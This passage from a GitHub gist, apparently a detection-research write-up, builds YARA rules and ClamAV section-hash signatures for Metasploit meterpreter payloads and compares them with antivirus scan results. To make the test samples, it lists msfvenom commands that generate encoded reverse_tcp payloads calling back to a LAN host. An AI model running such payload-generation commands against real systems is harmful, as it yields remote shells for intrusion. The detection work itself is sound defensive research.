2   0x0000018c    0x130 0x0000018c    0x130 -r-- ccc41adf87de338e87d5bf069ee6bc88 .dynsym        DYNSYM   alloc
3   0x000002bc     0xfa 0x000002bc     0xfa -r-- 7c2e785706ac1022b620da51401b1527 .dynstr        STRTAB   alloc
4   0x000003b8   0x2668 0x000003b8   0x2668 -r-- a52671b7b24b271db43904a618b8c8cd .rel.dyn       REL      alloc
5   0x00002a20     0x11 0x00002a20     0x11 -r-x dbb96323af1efc4843e82c86eeba259f .init          PROGBITS alloc,execute
6   0x00002a40     0x30 0x00002a40     0x30 -r-x 6cda0debb4769986db82b19257b7e22f .plt           PROGBITS alloc,execute
7   0x00002a70  0xa53e1 0x00002a70  0xa53e1 -r-x 90877fd31601aebd85235b1bc77748e2 .text          PROGBITS alloc,execute
8   0x000a7e51      0xc 0x000a7e51      0xc -r-x 81cdf8d22e372e05f975830e145f6027 .fini          PROGBITS alloc,execute
9   0x000a7e60  0x13600 0x000a7e60  0x13600 -r-- ef3358f36fa228607a163b488c6401b2 .rodata        PROGBITS alloc
10  0x000bb460  0x243c0 0x000bb460  0x243c0 -r-- a45450bb6ac0056e812e015f34201d5d .eh_frame      PROGBITS alloc
11  0x000e0330      0x0 0x000e1330      0x4 -rw- d41d8cd98f00b204e9800998ecf8427e .tbss          NOBITS   write,alloc,TLS
12  0x000e0330      0x8 0x000e1330      0x8 -rw- 14f9c4ad952bff03b2eb8fa9fb3aae76 .ctors         PROGBITS write,alloc
13  0x000e0338      0x8 0x000e1338      0x8 -rw- 14f9c4ad952bff03b2eb8fa9fb3aae76 .dtors         PROGBITS write,alloc
14  0x000e0340   0x1bb8 0x000e1340   0x1bb8 -rw- 4c2b6d6591dd14fd056291411386d559 .data.rel.ro   PROGBITS write,alloc
15  0x000e1ef8     0xa0 0x000e2ef8     0xa0 -rw- 692e5d0f420503ac124932e8e5ecc365 .dynamic       DYNAMIC  write,alloc
16  0x000e1f98     0x4c 0x000e2f98     0x4c -rw- a4ba71e74578e150d3f28d25ce588bfc .got           PROGBITS write,alloc
17  0x000e2000     0x14 0x000e3000     0x14 -rw- eec04ff93055537b47ebcf74237a1dd7 .got.plt       PROGBITS write,alloc
18  0x000e2020    0xd00 0x000e3020    0xd00 -rw- ba27a322b4a86850b1571a32bcde6e46 .data          PROGBITS write,alloc
19  0x000e2d20      0x0 0x000e3d20   0xca14 -rw- d41d8cd98f00b204e9800998ecf8427e .bss           NOBITS   write,alloc
20  0x000e2d20     0x11 0x00000000     0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment       PROGBITS merge,strings
21  0x000e2d31     0xa0 0x00000000     0xa0 ---- d12b60c77bde5f6f89255e69014abc20 .debug_aranges PROGBITS 
22  0x000e2dd1   0x36cd 0x00000000   0x36cd ---- cd90c83abb9c59c2ccbb9749d0b2e2be .debug_info    PROGBITS 
23  0x000e649e    0xa36 0x00000000    0xa36 ---- 8cca4e8fb3a7a140818083b1d4987f6f .debug_abbrev  PROGBITS 
24  0x000e6ed4    0xb19 0x00000000    0xb19 ---- 8ed9dff1f49c43218b388f8a7d11b37e .debug_line    PROGBITS 
25  0x000e79ed    0xae8 0x00000000    0xae8 ---- 5128282aaea2f633ef5cfd4d8fdedce6 .debug_str     PROGBITS merge,strings
26  0x000e84d5   0x1914 0x00000000   0x1914 ---- a08d5bc08036e67f4fbec6f03fc7945f .debug_loc     PROGBITS 
27  0x000e9de9     0xc8 0x00000000     0xc8 ---- 580179273d97400c0860da5bf8dc4ebf .debug_ranges  PROGBITS 
28  0x0010db4d    0x103 0x00000000    0x103 ---- b501b0295a7b0a555b2216cd65e2acbb .shstrtab      STRTAB   
29  0x000e9eb4  0x13b30 0x00000000  0x13b30 ---- 8d057c45acdb5bbddc15f25d73738e77 .symtab        SYMTAB   
30  0x000fd9e4  0x10169 0x00000000  0x10169 ---- 4c6240db819969d6bc67a3fb82ef4739 .strtab        STRTAB   

Compare to previous result of x64 binaries, we are seeing some sections that have same hashes. Very interesting!

19  0x000e2d20      0x0 0x000e3d20   0xca14 -rw- d41d8cd98f00b204e9800998ecf8427e .bss           NOBITS   write,alloc
20  0x000e2d20     0x11 0x00000000     0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment       PROGBITS merge,strings

So instead of .debug_info like previous rule, we can either use .bss or .comment or both. Problem: in run11_x86, section .bss has id 19 and .bss section in run11_x64 has id 20. We'll need a loop to check sections instead of hardcoded id. Our rule should look like this

rule Linux_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and
    for any i in (0 .. elf.number_of_sections - 1): (
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
    )
}

Final rule for ELF binaries detection

import "elf"
import "hash"

rule Linux_msf_stageless
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0
}

rule Linux_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and
    for any i in (0 .. elf.number_of_sections - 1): (
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
    )
}

Result

$yara section_hash.yar /tmp/msf_payloads  | wc -l
24

IV. PE files analysis

x64 staged payload

Generate

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run1_x64.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run2_x64.exe -e x86/alpha_mixed -k 12
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run3_x64.exe -e x86/xor_dynamic -k 15
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run4_x64.exe -e x86/shikata_ga_nai -k 36
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run5_x64.exe -e x86/unicode_mixed -k 62
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run6_x64.exe -e x86/xor_dynamic -k 15

Clamscan

$clamscan .
/tmp/msf_payloads/PEFiles/run1_x64.exe: Win.Exploit.D388a-9756522-0 FOUND
/tmp/msf_payloads/PEFiles/run2_x64.exe: OK
/tmp/msf_payloads/PEFiles/run3_x64.exe: OK
/tmp/msf_payloads/PEFiles/run4_x64.exe: Win.Trojan.MSShellcode-6360730-0 FOUND
/tmp/msf_payloads/PEFiles/run5_x64.exe: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/PEFiles/run6_x64.exe: OK

Section hashes

$rz-bin -S -K md5 run1_x64.exe 
[Sections]

nth paddr          size vaddr          vsize perm md5                              name   flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400   0x1200 0x140001000   0x2000 -r-x a4a5deae25708a9e05f50bcad7075c86 .text  CNT_CODE
1   0x00001600    0x200 0x140003000   0x1000 -r-- dba7016932710a9849d768a62fd34b26 .rdata CNT_INITIALIZED_DATA
2   0x00001800  0x31000 0x140004000  0x31000 -rwx 2f2fb9d45d318de751fc3f50a7a6cb75 .qzaq  CNT_CODE
$rz-bin -S -K md5 run2_x64.exe 
[Sections]

nth paddr          size vaddr          vsize perm md5                              name    flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400   0x1200 0x140001000   0x2000 -r-x a4a5deae25708a9e05f50bcad7075c86 .text   CNT_CODE
1   0x00001600    0x200 0x140003000   0x1000 -r-- 8f30dcc7776dff06b522ae7e684d1548 .rdata  CNT_INITIALIZED_DATA
2   0x00001800  0x61e00 0x140004000  0x62000 -rwx 83718e50a2430008378e8b70d20ac8b2 .text_1 CNT_CODE

Yara rules

import "pe"

rule Win64_msf_staged
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "a4a5deae25708a9e05f50bcad7075c86"
      )
}

Scan result:

$yara section_hash.yar /tmp/msf_payloads/PEFiles 
Win64_msf_staged /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run5_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run6_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run1_x64.exe

Now let's try with x64 stageless payloads

x64 Stageless

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run11_x64.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run12_x64.exe -e x86/alpha_mixed -k 12
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run13_x64.exe -e x86/xor_dynamic -k 15
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run14_x64.exe -e x86/shikata_ga_nai -k 36
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run15_x64.exe -e x86/unicode_mixed -k 62
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run16_x64.exe -e x86/xor_dynamic -k 15

Yara scan result

$yara section_hash.yar /tmp/msf_payloads/PEFiles 
Win64_msf_staged /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run5_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run6_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_staged /tmp/msf_payloads/PEFiles/run1_x64.exe

x86 stageless

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run11_x86.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run12_x86.exe -e x86/alpha_mixed -k 22
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run13_x86.exe -e x86/xor_dynamic -k 35
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run14_x86.exe -e x86/shikata_ga_nai -k 46
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run15_x86.exe -e x86/unicode_mixed -k 52
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run16_x86.exe -e x86/xor_dynamic -k 25

x86 staged

msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run1_x86.exe
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run2_x86.exe -e x86/alpha_mixed -k 22
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run3_x86.exe -e x86/xor_dynamic -k 35
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run4_x86.exe -e x86/shikata_ga_nai -k 46
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run5_x86.exe -e x86/unicode_mixed -k 52
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f exe -o run6_x86.exe -e x86/xor_dynamic -k 25

Section hash for x86 stageless

$rz-bin -S -K md5 run11_x86.exe
[Sections]

nth paddr         size vaddr        vsize perm md5                              name   flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00001000  0xb000 0x00401000  0xb000 -r-x 05eb9dc0707996fe09c8a25021c93b25 .text  CNT_CODE
1   0x0000c000  0x1000 0x0040c000  0x1000 -r-- 25d7ceee3aa85bb3e8c5174736f6f830 .rdata CNT_INITIALIZED_DATA
2   0x0000d000  0x4000 0x0040d000  0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data  CNT_INITIALIZED_DATA
3   0x00011000  0x1000 0x00415000  0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc  CNT_INITIALIZED_DATA
$rz-bin -S -K md5 run12_x86.exe
[Sections]

nth paddr         size vaddr        vsize perm md5                              name    flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400  0xb000 0x00401000  0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text   CNT_CODE
1   0x0000b400  0x1000 0x0040c000  0x1000 -r-- 2eb1ab1e301fa8cb8872c2881ab8813e .rdata  CNT_INITIALIZED_DATA
2   0x0000c400  0x4000 0x0040d000  0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data   CNT_INITIALIZED_DATA
3   0x00010400  0x1000 0x00415000  0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc   CNT_INITIALIZED_DATA
4   0x00011400  0x1400 0x00416000  0x2000 -rwx fd77be5f098d56322df61c24cfab696d .text_1 CNT_CODE

We are having .data which has 283b5f792323d57b9db4d2bcc46580f8 and .rsrc which has c13a9413aea7291b6fc85d75bfcde381 as signature Let's check staged as well.

$rz-bin -S -K md5 run1_x86.exe
[Sections]

nth paddr          size vaddr         vsize perm md5                              name   flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400   0xb000 0x00401000   0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text  CNT_CODE
1   0x0000b400   0x1000 0x0040c000   0x1000 -r-- 5759c53700372fd0c4c4e7698406e441 .rdata CNT_INITIALIZED_DATA
2   0x0000c400   0x4000 0x0040d000   0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data  CNT_INITIALIZED_DATA
3   0x00010400   0x1000 0x00415000   0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc  CNT_INITIALIZED_DATA
4   0x00011400  0x2be00 0x00416000  0x2c000 -rwx 2a0cfcc439e3c16c8cb0ee1e25ac756f .anmg  CNT_CODE
$rz-bin -S -K md5 run2_x86.exe
[Sections]

nth paddr          size vaddr         vsize perm md5                              name    flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400   0xb000 0x00401000   0xb000 -r-x f29e95e927219cf6bd883d79b67751fd .text   CNT_CODE
1   0x0000b400   0x1000 0x0040c000   0x1000 -r-- 4ea8209461f87ad1253d6748a5b12cb3 .rdata  CNT_INITIALIZED_DATA
2   0x0000c400   0x4000 0x0040d000   0x8000 -rw- 283b5f792323d57b9db4d2bcc46580f8 .data   CNT_INITIALIZED_DATA
3   0x00010400   0x1000 0x00415000   0x1000 -r-- c13a9413aea7291b6fc85d75bfcde381 .rsrc   CNT_INITIALIZED_DATA
4   0x00011400  0x56a00 0x00416000  0x57000 -rwx 0a81ab2ef9c574855872f7ced3c375a1 .text_1 CNT_CODE

We are having the same result for .data and .rsrc Let's make the an other rule

rule Win32_msf_section_hashes
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "283b5f792323d57b9db4d2bcc46580f8" or
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "c13a9413aea7291b6fc85d75bfcde381"
      )
}

Scan result: 24 files / 24 files

$yara section_hash.yar /tmp/msf_payloads/PEFiles | wc -l
24

Our final yara rules:

import "elf"
import "hash"
import "pe"

rule Linux_msf_stageless
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0
}

rule Linux_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and
    for any i in (0 .. elf.number_of_sections - 1): (
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "d41d8cd98f00b204e9800998ecf8427e" or
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
    )
}

rule Win64_msf_section_hashes
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "a4a5deae25708a9e05f50bcad7075c86"
      )
}

rule Win32_msf_section_hashes
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "283b5f792323d57b9db4d2bcc46580f8" or
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "c13a9413aea7291b6fc85d75bfcde381"
      )
}

Scan whole folder

$yara section_hash.yar /tmp/msf_payloads -r
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run4
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run13_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run14_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run15_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run16_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run11_x86.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run6_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run12_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run13_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run14_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run15_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run16_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run3_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run1_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run4_x86.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run6_x86.exe
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run11_x64.exe
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run5_x86.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run1_x64.exe
Win32_msf_section_hashes /tmp/msf_payloads/PEFiles/run2_x86.exe
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run12_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run4_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run2_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run3_x64.exe
Win64_msf_section_hashes /tmp/msf_payloads/PEFiles/run5_x64.exe
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_staged /tmp/msf_payloads/run11_x64
Linux_msf_staged /tmp/msf_payloads/run14_x64
Linux_msf_staged /tmp/msf_payloads/run15_x64
Linux_msf_staged /tmp/msf_payloads/run12_x64
Linux_msf_staged /tmp/msf_payloads/run11_x86

Quick count: we detected 48 files

$yara section_hash.yar /tmp/msf_payloads -r | wc -l
48

Total sample count:

$ls -R | grep run | wc -l
48

=> With yara rules and section hashes, we detected 100%. Hold on, there is more

Compare scan result with Load Library, which run Windows Defender scan on Linux

** Note ** there is a new error of the loader and latest engine version. Issue: taviso/loadlibrary#103. I'll use older engine version to check (not so fair though)

$./mpclient /tmp/msf_payloads/
Creating scan session...
Loading database...
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run11_x86]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run11_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run12_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run14_x64]
Threat Backdoor:Linux/Dakkatoni.az!MTB identified! [/tmp/msf_payloads/run15_x64]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run1_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run2_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run3_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run4_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run5_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run6_x64.exe]
Threat Trojan:Win64/Meterpreter.B identified! [/tmp/msf_payloads/PEFiles/run11_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run12_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run13_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run14_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run15_x64.exe]
PUA SLF:Win32/Metefier.A_svt identified! [/tmp/msf_payloads/PEFiles/run16_x64.exe]
Threat Trojan:Win32/Meterpreter.gen!E identified! [/tmp/msf_payloads/PEFiles/run11_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run12_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run13_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run14_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run15_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run16_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run1_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run2_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run3_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run4_x86.exe]
Threat Trojan:Win32/Dorv.A!rfn identified! [/tmp/msf_payloads/PEFiles/run5_x86.exe]
Threat Trojan:Win64/Meterpreter.A identified! [/tmp/msf_payloads/PEFiles/run6_x86.exe]

-> 29 files were detected / 48 files.

ClamAV signatures

Section hash based syntax PESectionSize:PESectionHash:MalwareName. File extension: .msb ** NOTE from ClamAV doc **

To ensure proper backwards compatibility with older versions of ClamAV, these signatures must have a minimum functional level of 73 or higher. Signatures that use the wildcard size without this level set will be rejected as malformed.

So we have database signature like this:

*:a4a5deae25708a9e05f50bcad7075c86:Win64.metasploit.backdoor:73
*:283b5f792323d57b9db4d2bcc46580f8:Win32.metasploit.backdoor-1:73
*:c13a9413aea7291b6fc85d75bfcde381:Win32.metasploit.backdoor-2:73

Scan result

$clamscan -d msf.msb /tmp/msf_payloads/PEFiles/
/tmp/msf_payloads/PEFiles/run1_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run2_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run3_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run4_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run5_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run6_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run11_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run12_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run13_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run14_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run15_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run16_x64.exe: Win64.metasploit.backdoor.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run11_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run12_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run13_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run14_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run15_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run16_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run1_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run2_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run3_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run4_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run5_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND
/tmp/msf_payloads/PEFiles/run6_x86.exe: Win32.metasploit.backdoor-1.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 3
Engine version: 0.103.3
Scanned directories: 1
Scanned files: 24
Infected files: 24
Data scanned: 4.12 MB
Data read: 3.76 MB (ratio 1.10:1)
Time: 0.060 sec (0 m 0 s)
Start Date: 2021:08:18 04:33:30
End Date:   2021:08:18 04:33:30
@dmknght
Copy link
Author

dmknght commented Aug 17, 2021

Playing with the Linux-Malware-Samples (link: https://github.com/MalwareSamples/Linux-Malware-Samples), I found out when i use section hash of 1 Mirai sample, yara detected 93 files. Compare to ClamAV database + scan result, it is 12 different signatures: 9 Mirai's signatures, 2 Gafgyt and 1 Tsunami signatures. Analysis is on the way.

@dmknght
Copy link
Author

dmknght commented Aug 18, 2021

Update: The Linux_msf_staged has false positive of section hashes. After check it with parse_hashes script, the "safe" hash is fbeb0b6fd7a7f78a880f68c413893f36

New Yara rules

import "elf"
import "hash"
import "pe"

rule Linux_ELF_Heuristic_no_section
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0
}

rule Linux_msf_stageless
{
  condition:
    Linux_ELF_Heuristic_no_section and filesize < 1KB
}

rule Linux_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and
    for any i in (0 .. elf.number_of_sections - 1): (
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "fbeb0b6fd7a7f78a880f68c413893f36"
    )
}

rule Win64_msf_section_hashes
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "a4a5deae25708a9e05f50bcad7075c86"
      )
}

rule Win32_msf_section_hashes
{
  condition:
    pe.is_pe and
      for any i in (0 .. pe.number_of_sections - 1): (
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "283b5f792323d57b9db4d2bcc46580f8" or
        hash.md5(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) == "c13a9413aea7291b6fc85d75bfcde381"
      )
}

@han0x7300
Copy link

awesome!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment